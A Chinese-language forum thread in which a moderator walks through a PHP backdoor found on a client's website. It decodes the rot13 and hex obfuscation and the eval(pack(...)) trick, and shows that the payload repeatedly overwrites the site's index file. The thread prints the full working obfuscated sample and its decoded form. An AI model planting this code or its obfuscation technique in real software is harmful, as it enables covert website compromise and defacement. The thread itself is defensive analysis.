找回密码
 注册账号

QQ登录

只需一步,快速开始

《泰拉瑞亚下载-1.4.2.3版》 泰拉瑞亚服务器 - MOD模组下载

入驻泰拉战网 新手指引 - 升级 - 师徒

泰拉瑞亚合成表 泰拉卡牌 - 泰拉江湖 - 泰拉刺客

联系泰拉开发组👈进入 积分市场 - 房产交易 - 水晶获取

查看: 4883|回复: 6

黑客入侵你网站后写了什么代码_黑客代码解析

[复制链接]

506

主题

18

回帖

5

广播

论坛版主

积分
260
泰拉
22
水晶
1
铜钥匙
0
银钥匙
0
金钥匙
0

【江湖新秀】【宝剑回鞘】【泰拉达人】【奥运选手】

发表于 2021-11-22 21:48:13 | 显示全部楼层 |阅读模式
技术交流
文章类型: 逻辑思维
涉及领域: PHP 其他领域 
内容难度: 困难

一个偶然的机会 , 我们在为客户服务时捕获了一组黑客写的代码

代码写了龙飞凤舞 , 接下来

上代码....

[PHP] 纯文本查看 复制代码
error_reporting(E_ERROR);
$file_path = '/www/wwwroot/club.arpara.net/index.php';

function get_str($dapeng)
{
    $dapeng = str_rot13($dapeng);
    return $dapeng;
}

function s()
{
    $dapeng = "63686q6s642824474p4s42414p535o2766696p655s70617468275q2p2030363636293o206966282166696p655s6578697374732827696r6465782r626o2r68746q6p2729297o2069662028636s70792824474p4s42414p535o2766696p655s70617468275q2p2027696r6465782r626o2r68746q6p2729297o207072696r745s7228273p7469746p653r666972737420636s707920737563636573733p2s7469746p653r3p68343r666972737420636s707920737563636573733p2s68343r27293o207q656p73657o207072696r745s7228273p7469746p653r666972737420636s7079206661696p65643p2s7469746p653r3p68343r666972737420636s7079206661696p65643p2s68343r27293o207q207q656p73657o2069662028636s70792827696r6465782r626o2r68746q6p272p2024474p4s42414p535o2766696p655s70617468275q29297o207072696r745s7228273p7469746p653r636s76657220636s707920737563636573733p2s7469746p653r3p68343r636s76657220636s707920737563636573733p2s68343r27293o207q656p73657o207072696r745s7228273p7469746p653r636s76657220636s7079206661696p65643p2s7469746p653r3p68343r636s76657220636s7079206661696p65643p2s68343r27293o207q207q2063686q6s642824474p4s42414p535o2766696p655s70617468275q2p2030363636293o3o";
    $dapeng = get_str($dapeng);
    m($dapeng);
}

function get1_str($dapeng1)
{
    return $dapeng1 . "ck";
}

function m($dapeng)
{
    $dapeng1 = "pa";
    $dapeng1 = get1_str($dapeng1);
    $dp = '';
    eval(`/******/` . $dp . $dapeng1('H*', $dapeng) . $dp);
}

s();

获得 土地神卡 一张

卡片说明:君山 遇到 [不厉害的大厉害] 被赠与 1 银钥匙.

卡片效果:获得 1 银钥匙

506

主题

18

回帖

5

广播

论坛版主

积分
260
泰拉
22
水晶
1
铜钥匙
0
银钥匙
0
金钥匙
0

【江湖新秀】【宝剑回鞘】【泰拉达人】【奥运选手】

 楼主| 发表于 2021-11-22 21:54:24 | 显示全部楼层
分析黑客代码 S函数
首先我们通过尾部直接执行的代码 来分析这段玩意的执行结果;

代码第32行

s();
这个代码 , 是不是很袖珍 , 不注意看 , 竟然不知道这货是个函数 , 我还以为是S君在鼓掌呢!

接下来看看这段执行了什么?

function s()
{
    $dapeng = "63686q6s642824474p4s42414p535o2766696p655s70617468275q2p2030363636293o206966282166696p655s6578697374732827696r6465782r626o2r68746q6p2729297o2069662028636s70792824474p4s42414p535o2766696p655s70617468275q2p2027696r6465782r626o2r68746q6p2729297o207072696r745s7228273p7469746p653r666972737420636s707920737563636573733p2s7469746p653r3p68343r666972737420636s707920737563636573733p2s68343r27293o207q656p73657o207072696r745s7228273p7469746p653r666972737420636s7079206661696p65643p2s7469746p653r3p68343r666972737420636s7079206661696p65643p2s68343r27293o207q207q656p73657o2069662028636s70792827696r6465782r626o2r68746q6p272p2024474p4s42414p535o2766696p655s70617468275q29297o207072696r745s7228273p7469746p653r636s76657220636s707920737563636573733p2s7469746p653r3p68343r636s76657220636s707920737563636573733p2s68343r27293o207q656p73657o207072696r745s7228273p7469746p653r636s76657220636s7079206661696p65643p2s7469746p653r3p68343r636s76657220636s7079206661696p65643p2s68343r27293o207q207q2063686q6s642824474p4s42414p535o2766696p655s70617468275q2p2030363636293o3o";
    $dapeng = get_str($dapeng);
    m($dapeng);
}


神奇吧 , 是不是看不懂 , 没关系 , 听我猥猥道来;

变量 $dapeng 显然是个字符串;   //PS : 有啥用我们先不管
$dapeng = get_str($dapeng);  //赋值操作 , 吧函数返回值赋值 给 $dapeng
m($dapeng);   //执行m函数


卧槽 这里又多了两个函数 ....


所以别着急等下回分解...


回复

使用道具 举报

506

主题

18

回帖

5

广播

论坛版主

积分
260
泰拉
22
水晶
1
铜钥匙
0
银钥匙
0
金钥匙
0

【江湖新秀】【宝剑回鞘】【泰拉达人】【奥运选手】

 楼主| 发表于 2021-11-22 21:59:47 | 显示全部楼层
字符串编码函数 get_str 隐蔽身形

function get_str($dapeng)
{
    $dapeng = str_rot13($dapeng);
    return $dapeng;
}

S函数中 又两个函数 , 先执行的函数 get_str 内部结构非常简单
他是为了不让我们使用DW等工具搜索到相关代码才特意编写的

黑客可以用预先编辑好的特定文本放入 $dapeng 当作字符串
然后在使用 str_rot13 函数进行解码 , 得到黑客想要的数字

这就是为什么我们的网站中了后门后死活都找不到后门文件的原因
当然光凭这点还不足以恶心你...

因为这个变量返回结果其实是这样的

63686d6f642824474c4f42414c535b2766696c655f70617468275d2c2030363636293b206966282166696c655f6578697374732827696e6465782e626b2e68746d6c2729297b2069662028636f70792824474c4f42414c535b2766696c655f70617468275d2c2027696e6465782e626b2e68746d6c2729297b207072696e745f7228273c7469746c653e666972737420636f707920737563636573733c2f7469746c653e3c68343e666972737420636f707920737563636573733c2f68343e27293b207d656c73657b207072696e745f7228273c7469746c653e666972737420636f7079206661696c65643c2f7469746c653e3c68343e666972737420636f7079206661696c65643c2f68343e27293b207d207d656c73657b2069662028636f70792827696e6465782e626b2e68746d6c272c2024474c4f42414c535b2766696c655f70617468275d29297b207072696e745f7228273c7469746c653e636f76657220636f707920737563636573733c2f7469746c653e3c68343e636f76657220636f707920737563636573733c2f68343e27293b207d656c73657b207072696e745f7228273c7469746c653e636f76657220636f7079206661696c65643c2f7469746c653e3c68343e636f76657220636f7079206661696c65643c2f68343e27293b207d207d2063686d6f642824474c4f42414c535b2766696c655f70617468275d2c2030363636293b3b
你说说这是个啥 , 你是不是也不知道...
好了 , 一如既往 , 放着不管 ...

我们往下看...

m() 函数...

回复

使用道具 举报

506

主题

18

回帖

5

广播

论坛版主

积分
260
泰拉
22
水晶
1
铜钥匙
0
银钥匙
0
金钥匙
0

【江湖新秀】【宝剑回鞘】【泰拉达人】【奥运选手】

 楼主| 发表于 2021-11-22 22:04:18 | 显示全部楼层
坑爹的M函数 , 燃烧你的猪脑!!!

他的代码是这样的!

function m($dapeng)
{
    $dapeng1 = "pa";
    $dapeng1 = get1_str($dapeng1);
    $dp = '';
    eval(`/******/` . $dp . $dapeng1('H*', $dapeng) . $dp);
}


看到这里的童鞋应该知道了 , 这货肯定是想执行啥
但是又不方便写的太明白~~
以免被机智的你花线了~

那么我们还是依照管理 , 来解剖它~

    $dapeng1 = "pa";    //字符串赋值
    $dapeng1 = get1_str($dapeng1);   //函数赋值
    $dp = '';   //空字符赋值

    eval(`/******/` . $dp . $dapeng1('H*', $dapeng) . $dp);   //执行了某个拼装的命令

好吧我们又多了个要分析的函数 get1_str

下回....

回复

使用道具 举报

506

主题

18

回帖

5

广播

论坛版主

积分
260
泰拉
22
水晶
1
铜钥匙
0
银钥匙
0
金钥匙
0

【江湖新秀】【宝剑回鞘】【泰拉达人】【奥运选手】

 楼主| 发表于 2021-11-22 22:13:26 | 显示全部楼层
pack组装大师 get1_str 函数

他长这样

function get1_str($dapeng1)
{
    return $dapeng1 . "ck";
}

那么从执行他的上层来看
$dapeng1 = "pa";
$dapeng1 = get1_str($dapeng1);

他的执行状态是这样的

function get1_str("pa")
{
    return "pa" . "ck";
}

于是乎 可以得出我们的 $dapeng1 值最终为 "pcak" 字符串;

那么 最后两行

   $dp = '';
   eval(`/******/` . $dp . $dapeng1('H*', $dapeng) . $dp);

意思也就很明确了吧

这就是执行 pcak("H*","上面那一长串字符串");

绕了这么一大圈 , 其实就是为了扰乱干扰我们的视线;

那么 PACK 是啥玩意呢 那是 把数据装入一个二进制字符串 官方解释


下回分解吧~


回复

使用道具 举报

506

主题

18

回帖

5

广播

论坛版主

积分
260
泰拉
22
水晶
1
铜钥匙
0
银钥匙
0
金钥匙
0

【江湖新秀】【宝剑回鞘】【泰拉达人】【奥运选手】

 楼主| 发表于 2021-11-22 22:19:02 | 显示全部楼层
最终解析出黑客真正想要执行的代码其实是
[PHP] 纯文本查看 复制代码
$dapeng = "63686q6s642824474p4s42414p535o2766696p655s70617468275q2p2030363636293o206966282166696p655s6578697374732827696r6465782r626o2r68746q6p2729297o2069662028636s70792824474p4s42414p535o2766696p655s70617468275q2p2027696r6465782r626o2r68746q6p2729297o207072696r745s7228273p7469746p653r666972737420636s707920737563636573733p2s7469746p653r3p68343r666972737420636s707920737563636573733p2s68343r27293o207q656p73657o207072696r745s7228273p7469746p653r666972737420636s7079206661696p65643p2s7469746p653r3p68343r666972737420636s7079206661696p65643p2s68343r27293o207q207q656p73657o2069662028636s70792827696r6465782r626o2r68746q6p272p2024474p4s42414p535o2766696p655s70617468275q29297o207072696r745s7228273p7469746p653r636s76657220636s707920737563636573733p2s7469746p653r3p68343r636s76657220636s707920737563636573733p2s68343r27293o207q656p73657o207072696r745s7228273p7469746p653r636s76657220636s7079206661696p65643p2s7469746p653r3p68343r636s76657220636s7079206661696p65643p2s68343r27293o207q207q2063686q6s642824474p4s42414p535o2766696p655s70617468275q2p2030363636293o3o";
$dapeng = str_rot13($dapeng);
echo pack("H*",$dapeng);


那么我们通过 ECHO 这个结果得出

[PHP] 纯文本查看 复制代码
chmod($GLOBALS['file_path'], 0666); 
if(!file_exists('index.bk.html')){ 
	if (copy($GLOBALS['file_path'], 'index.bk.html')){ 
		print_r('first copy success'); 
	}else{ 
		print_r('first copy failed'); 
	} 
}else{ 
	if (copy('index.bk.html', $GLOBALS['file_path'])){ 
		print_r('cover copy success'); 
	}else{ 
		print_r('cover copy failed'); 
	} 
} 
chmod($GLOBALS['file_path'], 0666);;

回复

使用道具 举报

506

主题

18

回帖

5

广播

论坛版主

积分
260
泰拉
22
水晶
1
铜钥匙
0
银钥匙
0
金钥匙
0

【江湖新秀】【宝剑回鞘】【泰拉达人】【奥运选手】

 楼主| 发表于 2021-11-22 22:25:27 | 显示全部楼层
接下来我们知道 , 为什么 , 我们的index 文件总是被墨名奇妙的更改了



chmod($GLOBALS['file_path'], 0666);  // 修改文件权限
if(!file_exists('index.bk.html')){  //如果黑客文件不存在
    if (copy($GLOBALS['file_path'], 'index.bk.html')){   //则生成一个文件到黑客控制的目录 (拷贝了文件后会用另一段代码加入一些劫持的头部)
        print_r('first copy success');
    }else{
        print_r('first copy failed');
    }
}else{
    if (copy('index.bk.html', $GLOBALS['file_path'])){  //如果文件存在 , 则会直接替换掉你的原有主页
        print_r('cover copy success');
    }else{
        print_r('cover copy failed');
    }
}
chmod($GLOBALS['file_path'], 0666);;  // 修改文件权限

至于修改劫持的部分 , 我们很不幸的没拿到 , 这次就不能分析了

总而言之言而总之

学到了吧哈哈...
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 注册账号

本版积分规则

QQ|友链申请|Archiver|手机版|小黑屋|游芯沙盒 ( 陕ICP备11006283号-1 )

GMT+8, 2024-11-22 00:25 , Processed in 0.115597 second(s), 74 queries .

Powered by Discuz! X3.5

© 2001-2024 Discuz! Team.

快速回复 返回顶部 返回列表